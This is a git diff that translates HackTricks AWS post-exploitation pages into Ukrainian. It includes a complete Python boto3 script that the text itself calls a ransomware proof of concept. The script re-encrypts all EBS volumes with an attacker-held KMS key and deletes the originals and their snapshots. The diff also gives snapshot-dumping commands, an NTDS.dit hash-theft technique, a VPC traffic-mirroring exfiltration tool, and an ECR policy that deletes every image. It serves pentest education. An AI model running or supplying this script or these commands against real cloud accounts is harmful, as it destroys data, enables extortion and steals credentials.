20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. - +Далі, поверніться до політики ключа в обліковому записі 'зловмисника' та видаліть правило політики 'Зовнішнє шифрування' з політики ключа. ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume. +Зачекайте момент, поки нова політика ключа не пошириться. Потім поверніться до облікового запису 'жертви' і спробуйте приєднати один з нових зашифрованих EBS-томів. Ви виявите, що можете приєднати том. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it. +Але коли ви спробуєте фактично запустити EC2-екземпляр з зашифрованим EBS-томом, він просто не вдасться і перейде з стану 'очікування' назад у стан 'зупинено' назавжди, оскільки приєднаний EBS-том не може бути розшифрований за допомогою ключа, оскільки політика ключа більше цього не дозволяє. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day. - +Це python-скрипт, який використовується. Він приймає AWS облікові дані для облікового запису 'жертви' та загальнодоступне значення AWS ARN для ключа, який буде використовуватися для шифрування. Скрипт створить зашифровані копії ВСІХ доступних EBS-томів, приєднаних до ВСІХ EC2-екземплярів у цільовому обліковому записі AWS, потім зупинить кожен EC2-екземпляр, від'єднає оригінальні EBS-томи, видалить їх і, нарешті, видалить всі знімки, використані під час процесу. Це залишить лише зашифровані EBS-томи в цільовому обліковому записі 'жертви'. ВИКОРИСТОВУЙТЕ ЦЕЙ СКРИПТ ТІЛЬКИ В ТЕСТОВОМУ СЕРЕДОВИЩІ, ВІН ДЕСТРУКТИВНИЙ І ВИДАЛИТЬ УСІ ОРИГІНАЛЬНІ EBS-ТОМИ. Ви можете відновити їх, використовуючи KMS-ключ, і відновити їх до їхнього початкового стану через знімки, але просто хочу, щоб ви знали, що в кінцевому підсумку це є PoC програм-вимагачів. ``` import boto3 import argparse from botocore.exceptions import ClientError def enumerate_ec2_instances(ec2_client): - instances = ec2_client.describe_instances() - instance_volumes = {} - for reservation in instances['Reservations']: - for instance in reservation['Instances']: - instance_id = instance['InstanceId'] - volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] - instance_volumes[instance_id] = volumes - return instance_volumes +instances = ec2_client.describe_instances() +instance_volumes = {} +for reservation in instances['Reservations']: +for instance in reservation['Instances']: +instance_id = instance['InstanceId'] +volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] +instance_volumes[instance_id] = volumes +return instance_volumes def snapshot_volumes(ec2_client, volumes): - snapshot_ids = [] - for volume_id in volumes: - snapshot = ec2_client.create_snapshot(VolumeId=volume_id) - snapshot_ids.append(snapshot['SnapshotId']) - return snapshot_ids +snapshot_ids = [] +for volume_id in volumes: +snapshot = ec2_client.create_snapshot(VolumeId=volume_id) +snapshot_ids.append(snapshot['SnapshotId']) +return snapshot_ids def wait_for_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) +for snapshot_id in snapshot_ids: +ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn): - new_volume_ids = [] - for snapshot_id in snapshot_ids: - snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] - volume_id = snapshot_info['VolumeId'] - volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] - availability_zone = volume_info['AvailabilityZone'] +new_volume_ids = [] +for snapshot_id in snapshot_ids: +snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] +volume_id = snapshot_info['VolumeId'] +volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] +availability_zone = volume_info['AvailabilityZone'] - volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, - Encrypted=True, KmsKeyId=kms_key_arn) - new_volume_ids.append(volume['VolumeId']) - return new_volume_ids +volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, +Encrypted=True, KmsKeyId=kms_key_arn) +new_volume_ids.append(volume['VolumeId']) +return new_volume_ids def stop_instances(ec2_client, instance_ids): - for instance_id in instance_ids: - try: - instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) - instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] +for instance_id in instance_ids: +try: +instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) +instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] - if instance_state == 'running': - ec2_client.stop_instances(InstanceIds=[instance_id]) - print(f"Stopping instance: {instance_id}") - ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) - print(f"Instance {instance_id} stopped.") - else: - print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") +if instance_state == 'running': +ec2_client.stop_instances(InstanceIds=[instance_id]) +print(f"Stopping instance: {instance_id}") +ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) +print(f"Instance {instance_id} stopped.") +else: +print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") - except ClientError as e: - print(f"Error stopping instance {instance_id}: {e}") +except ClientError as e: +print(f"Error stopping instance {instance_id}: {e}") def detach_and_delete_volumes(ec2_client, volumes): - for volume_id in volumes: - try: - ec2_client.detach_volume(VolumeId=volume_id) - ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) - ec2_client.delete_volume(VolumeId=volume_id) - print(f"Deleted volume: {volume_id}") - except ClientError as e: - print(f"Error detaching or deleting volume {volume_id}: {e}") +for volume_id in volumes: +try: +ec2_client.detach_volume(VolumeId=volume_id) +ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) +ec2_client.delete_volume(VolumeId=volume_id) +print(f"Deleted volume: {volume_id}") +except ClientError as e: +print(f"Error detaching or deleting volume {volume_id}: {e}") def delete_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - try: - ec2_client.delete_snapshot(SnapshotId=snapshot_id) - print(f"Deleted snapshot: {snapshot_id}") - except ClientError as e: - print(f"Error deleting snapshot {snapshot_id}: {e}") +for snapshot_id in snapshot_ids: +try: +ec2_client.delete_snapshot(SnapshotId=snapshot_id) +print(f"Deleted snapshot: {snapshot_id}") +except ClientError as e: +print(f"Error deleting snapshot {snapshot_id}: {e}") def replace_volumes(ec2_client, instance_volumes): - instance_ids = list(instance_volumes.keys()) - stop_instances(ec2_client, instance_ids) +instance_ids = list(instance_volumes.keys()) +stop_instances(ec2_client, instance_ids) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - detach_and_delete_volumes(ec2_client, all_volumes) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +detach_and_delete_volumes(ec2_client, all_volumes) def ebs_lock(access_key, secret_key, region, kms_key_arn): - ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) +ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached - replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes - delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached +replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes +delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed def parse_arguments(): - parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') - parser.add_argument('--access-key', required=True, help='AWS Access Key ID') - parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') - parser.add_argument('--region', required=True, help='AWS Region') - parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') - return parser.parse_args() +parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool') +parser.add_argument('--access-key', required=True, help='AWS Access Key ID') +parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key') +parser.add_argument('--region', required=True, help='AWS Region') +parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption') +return parser.parse_args() def main(): - args = parse_arguments() - ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) +args = parse_arguments() +ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) - replace_volumes(ec2_client, instance_volumes) - delete_snapshots(ec2_client, snapshot_ids) +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn) +replace_volumes(ec2_client, instance_volumes) +delete_snapshots(ec2_client, snapshot_ids) if __name__ == "__main__": - main() +main() ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 7a9a19cc4..579663046 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -2,8 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Checking a snapshot locally - +## Перевірка знімка локально ```bash # Install dependencies pip install 'dsnap[cli]' @@ -32,10 +31,8 @@ cd dsnap make docker/build IMAGE=".img" make docker/run #With the snapshot downloaded ``` - > [!CAUTION] -> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that: - +> **Зверніть увагу**, що `dsnap` не дозволить вам завантажити публічні знімки. Щоб обійти це, ви можете зробити копію знімка у вашому особистому акаунті та завантажити його: ```bash # Copy the snapshot aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57" @@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da # Delete the snapshot after downloading aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ``` +Для отримання додаткової інформації про цю техніку перегляньте оригінальне дослідження в [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) -For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/) - -You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) - -## Checking a snapshot in AWS +Ви можете зробити це з Pacu, використовуючи модуль [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) +## Перевірка знімка в AWS ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` +**Прикріпіть його до EC2 VM під вашим контролем** (він має бути в тому ж регіоні, що й копія резервної копії): -**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup): +Крок 1: Необхідно створити новий об'єм вашого вибраного розміру та типу, перейшовши до EC2 –> Об'єми. -Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes. +Щоб виконати цю дію, виконайте такі команди: -To be able to perform this action, follow these commands: +- Створіть об'єм EBS для підключення до EC2 екземпляра. +- Переконайтеся, що об'єм EBS та екземпляр знаходяться в одній зоні. -- Create an EBS volume to attach to the EC2 instance. -- Ensure that the EBS volume and the instance are in the same zone. +Крок 2: Виберіть опцію "прикріпити об'єм", клацнувши правою кнопкою миші на створеному об'ємі. -Step 2: The "attach volume" option is to be selected by right-clicking on the created volume. +Крок 3: Виберіть екземпляр з текстового поля екземпляра. -Step 3: The instance from the instance text box is to be selected. +Щоб виконати цю дію, використовуйте наступну команду: -To be able to perform this action, use the following command: +- Прикріпіть об'єм EBS. -- Attach the EBS volume. +Крок 4: Увійдіть до екземпляра EC2 та перелікуйте доступні диски, використовуючи команду `lsblk`. -Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`. +Крок 5: Перевірте, чи є дані на об'ємі, використовуючи команду `sudo file -s /dev/xvdf`. -Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`. +Якщо вихід з вищезазначеної команди показує "/dev/xvdf: data", це означає, що об'єм порожній. -If the output of the above command shows "/dev/xvdf: data", it means the volume is empty. +Крок 6: Форматуйте об'єм у файлову систему ext4, використовуючи команду `sudo mkfs -t ext4 /dev/xvdf`. Альтернативно, ви також можете використовувати формат xfs, використовуючи команду `sudo mkfs -t xfs /dev/xvdf`. Зверніть увагу, що ви повинні використовувати або ext4, або xfs. -Step 6: Format the volume to the ext4 filesystem using the command `sudo mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs. +Крок 7: Створіть каталог на ваш вибір для монтування нового об'єму ext4. Наприклад, ви можете використовувати назву "newvolume". -Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume". +Щоб виконати цю дію, використовуйте команду `sudo mkdir /newvolume`. -To be able to perform this action, use the command `sudo mkdir /newvolume`. +Крок 8: Прикрепіть об'єм до каталогу "newvolume", використовуючи команду `sudo mount /dev/xvdf /newvolume/`. -Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`. +Крок 9: Змініть каталог на каталог "newvolume" і перевірте дисковий простір, щоб підтвердити монтування об'єму. -Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount. +Щоб виконати цю дію, використовуйте такі команди: -To be able to perform this action, use the following commands: +- Змініть каталог на `/newvolume`. +- Перевірте дисковий простір, використовуючи команду `df -h .`. Вихід цієї команди має показувати вільний простір у каталозі "newvolume". -- Change directory to `/newvolume`. -- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory. - -You can do this with Pacu using the module `ebs__explore_snapshots`. - -## Checking a snapshot in AWS (using cli) +Ви можете зробити це з Pacu, використовуючи модуль `ebs__explore_snapshots`. +## Перевірка знімка в AWS (використовуючи cli) ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id @@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt ls /mnt ``` - ## Shadow Copy -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +Будь-який користувач AWS, який має дозвіл **`EC2:CreateSnapshot`**, може вкрасти хеші всіх доменних користувачів, створивши **знімок Контролера домену**, змонтувавши його на екземплярі, який вони контролюють, і **експортувавши NTDS.dit та SYSTEM** реєстровий файл для використання з проектом secretsdump від Impacket. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Ви можете використовувати цей інструмент для автоматизації атаки: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) або ви можете використовувати одну з попередніх технік після створення знімка. ## References - [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index eb3b5f33f..61c755f8f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -4,16 +4,12 @@ **Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** -Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**. +Пасивна мережна інспекція в хмарному середовищі була **складною**, вимагала значних змін конфігурації для моніторингу мережевого трафіку. Однак AWS представила нову функцію під назвою “**VPC Traffic Mirroring**”, щоб спростити цей процес. З VPC Traffic Mirroring мережевий трафік у VPC може бути **дубльований** без встановлення будь-якого програмного забезпечення на самих екземплярах. Цей дубльований трафік може бути надісланий до системи виявлення мережевих вторгнень (IDS) для **аналізу**. -To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts. +Щоб задовольнити потребу в **автоматизованому розгортанні** необхідної інфраструктури для дублювання та ексфільтрації трафіку VPC, ми розробили скрипт доведення концепції під назвою “**malmirror**”. Цей скрипт можна використовувати з **компрометованими AWS обліковими даними** для налаштування дублювання для всіх підтримуваних EC2 екземплярів у цільовому VPC. Важливо зазначити, що VPC Traffic Mirroring підтримується лише EC2 екземплярами, які працюють на системі AWS Nitro, і ціль дзеркала VPC повинна бути в тому ж VPC, що й дзеркальні хости. -The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible. +**Вплив** зловмисного дублювання трафіку VPC може бути значним, оскільки це дозволяє зловмисникам отримувати доступ до **чутливої інформації**, що передається в межах VPC. **Ймовірність** такого зловмисного дублювання висока, враховуючи наявність **трафіку у відкритому тексті**, що проходить через VPC. Багато компаній використовують протоколи у відкритому тексті в своїх внутрішніх мережах з **причин продуктивності**, вважаючи, що традиційні атаки "людина посередині" неможливі. -For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes. +Для отримання додаткової інформації та доступу до [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror) його можна знайти в нашому **репозиторії GitHub**. Скрипт автоматизує та спрощує процес, роблячи його **швидким, простим і повторюваним** для цілей наступальних досліджень. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index a971ea769..efd143261 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -1,17 +1,16 @@ -# AWS - ECR Post Exploitation +# AWS - ECR Постексплуатація {{#include ../../../banners/hacktricks-training.md}} ## ECR -For more information check +Для отримання додаткової інформації перегляньте {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Login, Pull & Push - +### Увійти, Завантажити та Відправити ```bash # Docker login into ecr ## For public repo (always use us-east-1) @@ -38,17 +37,16 @@ docker push .dkr.ecr..amazonaws.com/purplepanda:latest # Downloading without Docker # List digests aws ecr batch-get-image --repository-name level2 \ - --registry-id 653711331788 \ - --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' +--registry-id 653711331788 \ +--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' ## Download a digest aws ecr get-download-url-for-layer \ - --repository-name level2 \ - --registry-id 653711331788 \ - --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" +--repository-name level2 \ +--registry-id 653711331788 \ +--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` - -After downloading the images you should **check them for sensitive info**: +Після завантаження зображень ви повинні **перевірити їх на наявність чутливої інформації**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -56,25 +54,24 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository. - +Зловмисник з будь-якими з цих дозволів може **створити або змінити політику життєвого циклу для видалення всіх зображень у репозиторії** і потім **видалити весь репозиторій ECR**. Це призведе до втрати всіх контейнерних зображень, збережених у репозиторії. ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ - "rules": [ - { - "rulePriority": 1, - "description": "Delete all images", - "selection": { - "tagStatus": "any", - "countType": "imageCountMoreThan", - "countNumber": 0 - }, - "action": { - "type": "expire" - } - } - ] +"rules": [ +{ +"rulePriority": 1, +"description": "Delete all images", +"selection": { +"tagStatus": "any", +"countType": "imageCountMoreThan", +"countNumber": 0 +}, +"action": { +"type": "expire" +} +} +] }' > malicious_policy.json # Apply the malicious lifecycle policy to the ECR repository @@ -92,9 +89,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 1d2fd80a5..87fae3b05 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -4,7 +4,7 @@ ## ECS -For more information check: +Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,42 +12,37 @@ For more information check: ### Host IAM Roles -In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ -Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: +В ECS **IAM роль може бути призначена завданню**, що виконується всередині контейнера. **Якщо** завдання виконується всередині **EC2** екземпляра, **EC2 екземпляр** матиме **іншу IAM** роль, прикріплену до нього.\ +Це означає, що якщо вам вдасться **зламати** екземпляр ECS, ви потенційно можете **отримати IAM роль, пов'язану з ECR та EC2 екземпляром**. Для отримання додаткової інформації про те, як отримати ці облікові дані, перегляньте: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. +> Зверніть увагу, що якщо EC2 екземпляр застосовує IMDSv2, [**згідно з документацією**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **відповідь на PUT запит** матиме **обмеження на кількість пересилок 1**, що ускладнює доступ до метаданих EC2 з контейнера всередині EC2 екземпляра. ### Privesc to node to steal 